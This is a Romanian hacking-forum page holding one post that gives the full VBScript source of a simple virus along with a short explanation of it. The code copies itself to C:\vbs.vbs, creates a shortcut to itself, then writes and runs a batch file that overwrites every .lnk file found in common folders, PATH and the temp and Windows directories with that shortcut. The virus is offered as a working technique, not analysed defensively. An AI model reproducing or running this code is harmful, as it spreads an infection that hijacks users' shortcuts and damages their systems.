HAKERMANIA
Km tot despre haking
|
Lista Forumurilor Pe Tematici
|
HAKERMANIA | Inregistrare | Login
POZE HAKERMANIA
Nu sunteti logat.
|
Nou pe simpatie: Bianca777 pe Simpatie.ro
 | Femeie 24 ani Brasov cauta Barbat 27 - 64 ani |
|
cocoju93
Administrator
 Inregistrat: acum 18 ani
Postari: 61
|
|
Dropping means, that every LNK file opens the virus. Look at the code:
Code:
Dim shell, msc, batch, fso
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\vbs.vbs", True
set shell=wscript.createobject("wscript.shell")
set msc=shell.CreateShortCut("C:\vbs.lnk")
msc.TargetPath=shell.ExpandEnvironment("C:\vbs.vbs")
msc.WindowStyle=4
msc.Save
set batch=fso.CreateTextFile("C:\lnk.bat")
batch.WriteLine "cls"
batch.WriteLine "@echo off"
batch.WriteLine "for %%a in (*.lnk ..\*.lnk \*.lnk %path%\*.lnk %tmp%\*.lnk %temp%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%a"
batch.Close
shell.Run "C:\lnk.bat" |
First the virus makes a copy of itself to C:\vbs.vbs Then it generates a LNK file, which opens the C:\vbs.vbs-file. Then the virus makes a batch file, which copies the LNK-file to every LNK file it can find.
_______________________________________ Codrutz
|
|
| pus acum 18 ani |
|